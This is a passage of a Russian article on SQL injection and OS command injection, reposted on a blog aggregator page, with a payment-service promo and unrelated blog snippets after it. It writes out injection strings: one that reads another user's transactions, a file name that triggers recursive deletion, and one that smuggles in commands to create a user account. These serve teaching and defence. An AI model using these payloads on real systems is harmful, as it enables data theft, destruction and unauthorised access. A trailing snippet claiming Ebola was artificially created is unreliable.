При вызове которого дата «2015-05-26» будет получена из GET-параметра в URL, а значение user_id будет получено из сессии приложения. На основе этих данных, для получения информации о транзакциях пользователя, приложение сформирует SQL-запрос:



SELECT * FROM transactions WHERE date = "2015-05-26" AND user_id = 10


Для тех, кто не знаком с синтаксисом SQL для лучшего понимания, разберем этот запрос.



Что в запросе



Запрос состоит из оператора SELECT (дословно с англ. – «ВЫБРАТЬ»), который используется для выбора данных из таблицы. Существуют еще операторы UPDATE, INSERT, DELETE, которые, как нетрудно догадаться из их названий, выполняют операции обновления, вставки и удаления строк соответственно.



Символ «*» означает, что мы выбираем все столбцы таблицы. Далее следует ключевое слово FROM (дословно – «ИЗ») с указанием имени таблицы, из которой производится выборка.



Далее идет ключевое слово WHERE (дословно с англ. «ГДЕ»), за которым следует часть, определяющая непосредственно условия выборки из таблицы.



После этого идут условия вида «название_поля = значение» разделенные ключевыми словами AND или OR, означающими «И» и «ИЛИ» соответственно.



Таким образом, переводя запрос с SQL на русский мы получим:

ВЫБРАТЬ все поля ИЗ таблицы transactions, ГДЕ поле date = "2015-05-26" И поле user_id = 10
При недостаточной проверке данных от пользователя, злоумышленник может внедрить в форму web-интерфейса приложения специальный код, содержащий кусок запроса к базе данных.  Эта опаснейшая уязвимость, позволит злоумышленнику читать/изменять/удалять информацию, которая для него не предназначена.



Эксплуатация



Как это работает? В рассмотренном примере, значение даты "2015-05-26" попадает в SQL-запрос из URL скрипта, и в целях рассматриваемого примера, никак не фильтруется приложением.



Если передать в параметр date вместе с датой 2015-05-26 еще немного символов:



2015-05-26" AND user_id=11 --


То вместо корректного:



SELECT * FROM transactions WHERE date ="2015-05-26" AND user_id = 10


Указанный запрос сформирует следующий SQL:



SELECT * FROM transactions WHERE date = "2015-05-26" AND user_id = 11 -- " AND user_id = 10 


Два минуса «--» в синтаксисе SQL означают начало комментария, поэтому все символы после «--» интерпретатором восприниматься не будут, и часть запроса, в которой осуществлялась проверка идентификатора пользователя будет отсечена сервером базы данных.



Фактически будет выполнен запрос:



SELECT * FROM transactions WHERE date = "2015-05-26" AND user_id = 11


В результате которого, мы получим информацию о транзакциях другого пользователя. А перебирая id – любого другого пользователя.



Какие бывают техники атак при SQL-инъекциях



Сообществом OWASP были описаны пять основных методов (техник) атак при SQL-инъекциях.




  • Оператор Union: подход может быть использован при наличии уязвимости в запросе SELECT, позволяющей объединить два запроса в один результат или набор результатов.




  • Логический метод: предполагает использование логического условия, либо условий, позволяющих достоверно определить истинность или ложность некоего предположения.




  • На основании ошибок: этот метод предполагает намеренную передачу различных некорректных запросов, с целью вынудить web-приложение выдать информацию об ошибке, на основании которой, злоумышленник может составить и передать корректный инжектированный запрос.




  • Метод с альтернативным каналом передачи данных: метод предполагает использование альтернативного канала передачи извлеченных данных (например через исходящее HTTP соединение с web-сервером)




  • Time delay: метод использует команды базы данных, например sleep для того чтобы определить задержу по условным запросам. Метод эффективен, когда нет возможности получить ответ от web-приложения (результат, ошибка)



Кроме того, может использоваться комбинированный подход, включающий в себя сочетание двух или более перечисленных техник.



По способу извлечения данных выделяют три типа атак:




  • Связанный: данные в результате инжектированного SQL запроса извлекаются тем же путем, которым был передан сам инжектированный запрос. Это самый прямолинейный вид атаки, в результате которого, запрошенные модифицированным запросом данные, отображаются непосредственно на странице web-приложения.




  • Не связанный: данные в результате инжектированного SQL запроса извлекаются путем, отличным от способа передачи модифицированного запроса. (например данные передаются злоумышленнику в сообщении на электронную почту)




  • Дедуктивный или слепой: В результате SQL инъекции фактического извлечения данных не происходит, но злоумышленник может получить информацию, наблюдая за поведением web-сервера, в результате отправки серии специфических инжектированных SQL запросов.





Как защититься?



Рекомендация крайне проста – фильтровать входящие данные. При этом до фильтрации лучше не доводить данные, явно не соответствующие формату. Иными словами, данные на входе нужно проверять на соответствие формату и выдать пользователю ошибку. Тем самым



Например, мы должны получить ID новости для отображения. В нашей системе это всегда целое число больше нуля, и мы об этом знаем. В случае если передано не число, или это число меньше или равно нулю, нужно выдать ошибку и прекратить выполнение скрипта.



Как перейти к имплементации данной рекомендации, если у вас уже есть большое web-приложение, имеющее много различных точек входа?



Мы приведем некоторый системный подход к реализации защиты от инъекций баз данных. Чтобы свести к минимуму потенциальную угрозу от данного типа атак, нужно последовательно выполнить следующие шаги:




  • Определить все точки получения данных web-приложением извне, выписать все точки входа (URL), названия передаваемых параметров, протокол (HTTP/HTTPS) и метод их передачи – GET, POST или PUT/DELETE.




  • Определить тип данных для каждого параметра, ответив на вопрос — значение какого типа мы должны получить?




  • Реализовать проверку каждого параметра на соответствие типу.




  • Реализовать экранирование кавычек и других спецсимволов при помощи символа обратного слеша “\”. При этом если параметр в запросе заключен в одинарные кавычки, то именно одинарные кавычки должны быть экранированы и заменены на «\’», аналогично с двойными кавычками. При этом экранировать одинарные кавычки внутри двойных не надо и наоборот. Это в теории, на практике же, почти во всех популярных фреймворках и скриптовых языках есть встроенные функции для экранирования спецсимволов, как например mysqli_real_escape_string в php.



В общем виде, можно также рекомендовать пропускать все запросы к базе данных через некую единую точку (например фреймворк), при прохождении через которую они будут проходить специальную подготовку — фильтрацию и экранирование.



Следует также помнить, что для успешной атаки  посредством SQL инъекции злоумышленнику требуется передать синтаксически правильный SQL запрос. Однако, если web-приложение возвращает информацию об ошибке в результате неправильного инжектированного запроса, это может помочь злоумышленнику восстановить логику исходного запроса и дать ему возможность понять, как правильно выполнить инъекцию.



Поэтому, нужно внимательно следить за тем, какая информация об ошибках отдается приложением. Тем не менее, если web-приложение скрывает сведения об ошибках, у разработчика в любом случае должна быть возможность восстановить логику исходного запроса (в самом простом случае – вести лог ошибок, но не выводить их на экран).



Какие еще бывают инъекции?



Помимо инъекций баз данных, атаке типа «инъекция» может быть подвержена любая другая среда, которая получает необработанные данные извне. Еще один распространенный случай – это инъекция командного интерпретатора операционной системы, так называемые «OS injections».



Рассмотрим такой пример из описания «Command injections» OWASP.



Есть некая социальная сеть, предоставляющая пользователям функционал загрузки фотографий и их последующего удаления. В ней есть некий скрипт, написанный на языке PHP, и он отвечает за удаление фотографий:



 


 Типичный его вызов выглядит так:



http://mysocnet.simplethreats.ru/user_file_delete.php?filename=1246.jpg


И влечет за собой исполнение команды:



rm /var/www/user_photos/1246.jpg


Очень легко очистить всю директорию с приложением, передав такой запрос:



user_file_delete.php?filename=../ -rf


(на самом деле пробелы и некие символы закодируются при передаче в URL в нечто вида user_file_delete.php?filename=..%2F+-rf — но для наглядности, мы будем писать с пробелами и другими символами, не заворачивая их)



что вызовет исполнение:



rm /var/www/user_photos/.. –rf


и будет равносильно



rm /var/www/–rf


то есть удалит (команда rf) все содержимое директории www, где хранятся файлы приложения, без подтверждения (параметр –f) и рекурсивно (параметр -r), т.е. со всеми вложенными директориями и их файлами. Участь — врагу не пожелаешь.



А можно не удалять файловую систему, и передав запрос вида:



user_file_delete.php?filename=12346.jpg && adduser ghost && echo ghostpass | passwd ghost –stdin


Злоумышленник выполнит команду:



rm /var/www/user_photos/12346.jpg && adduser ghost && echo ghostpass | passwd ghost –stdin 




И создаст для себя учетную запись для доступа на сервер.



Нужно отметить, что на практике создать пользователя таким образом почти невозможно, так как Web-сервер в 99% систем запущен от непривилегированного пользователя, который не может создавать другие учетные записи.



Выполнение указанной цепочки команд возможно благодаря двум особенностям UNIX-систем и их командных интерпретаторов.



Первая особенность — это конвейеры (pipelines, pipes, «пайпы»). Суть конвейеров заключается в возможности передачи вывода одной команды на ввод другой, если они разделены оператором «|».



Вторая особенность – возможность запускать комбинацию команд через логические операторы «&&» и «||». Оператор «&&» выполнит следующую указанную команду, в случае если предыдущая исполнена успешно и является неким аналогом логического «И» — выполнить команду один И команду два. Оператор «||» является аналогом логического «ИЛИ» и выполнит вторую команду только в случае если не была выполнена первая — выполнить команду один ИЛИ команду два.



Что дальше?



Разумеется, нами была рассмотрена лишь малая толика того, что можно отнести к разряду инъекций. Огромный пласт занимают так называемые DOM- или HTML-инъекции, благодаря которым становится возможным проведение такого вида атак как XSS.



Проблема XSS во все времена стояла достаточно остро, а сейчас, в эпоху динамичного содержимого, когда JavaScript предоставляет очень мощные возможности, атаки такого рода несут повышенную опасность (вплоть до того, что, зараженное приложение может сфотографировать вас и отправить Ваше фото злоумышленнику).



Проблеме XSS, а также методам эксплуатации и защиты от этого вида атак мы посвятим одну из наших следующих статей, которая выйдет уже в июне.



Будьте бдительны!



Немного о SimplePay и авторах
Мы — Иван Притула и Дмитрий Агапитов, занимаемся разработкой решений, которые делают жизнь людей проще и комфортнее. Сегодня мы хотим представить один из наших новых сервисов – это платежный агрегатор SimplePay. Все что мы делаем продиктовано мучительной невозможностью мириться с несовершенством в целом, и несовершенством конкретных программных решений в частности. Именно в погоне за совершенством и рождаются наши продукты.



SimplePay — это современный высокотехнологичный агрегатор платежей. Компания создана в 2014г., зарегистрирована в г. Москве и ведет свою деятельность в соответствии с законодательством Российской Федерации. Наша основная задача, это обеспечение простой, удобной возможности организации приема платежей на интернет-сайтах компаний, вне зависимости от сферы деятельности, масштаба бизнеса и наличия подготовленного технического персонала.



Мы предлагаем следующие услуги:




  • Организацию приема платежей на Вашем сайте

  • Возврат средств покупателю

  • Выставление произвольного счета покупателю

  • Уведомления о платежах как на URL, так и по e-mail

  • Рекуррентные платежи

  • Псевдорекуррентные платежи во всех популярных платежных системах с кошельками



Короткая справка:




  • Банк эквайер: Промсвязьбанк

  • Платежи в пользу третьих лиц: РНКО РИБ

  • Юрисдикция: РФ, 161-ФЗ

  • Работа с нерезидентами: Нет

  • Собственный API: Да

  • Совместимые API: Да

  • CMS-модули: Да

  • Встроенные модули в сторонних системах: BG Billing, WP-shop

  • Переадресация сразу на ПС без промежуточной страницы: Да

  • API на возвраты: Да





Original source: habrahabr.ru (comments, light).

http://habrahabr.ru/post/259047/

Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
озорная_девушка

Ботокс способен проникать в центральную нервную систему – ученые

Воскресенье, 19 Апреля 2015 г. 05:14 (ссылка)


Ботокс способен проникать в центральную нервную систему – ученые



Ученые заявили, что препарат под названием ботулинический нейротоксин типа А, более известный как ботокс, проникает в центральную нервную систему человека даже в результате его применения в косметических целях. Статья, посвященная работе исследователей, была опубликована в The Journal of Neuroscience.

Читать далее...
Комментарии (0)КомментироватьВ цитатник или сообщество
Ольвия_Я

искусственное происхождение эпидемии Эбола

Суббота, 02 Ноября 2014 г. 00:36 (ссылка)
liveinternet.ru/users/wsele...341649646/

Эбо-ложь: Житель Ганы подтверждает искусственное происхождение эпидемии Эбола Сегодня, Несколько дней назад, житель Ганы по имени Нана Кваме сделал заявление, которое потрясло интернет-...
Комментарии (0)КомментироватьВ цитатник или сообщество

Следующие 30  »

<инъекции - Самое интересное в блогах

Страницы: [1] 2 3 ..
.. 10

LiveInternet.Ru Ссылки: на главную|почта|знакомства|одноклассники|фото|открытки|тесты|чат
О проекте: помощь|контакты|разместить рекламу|версия для pda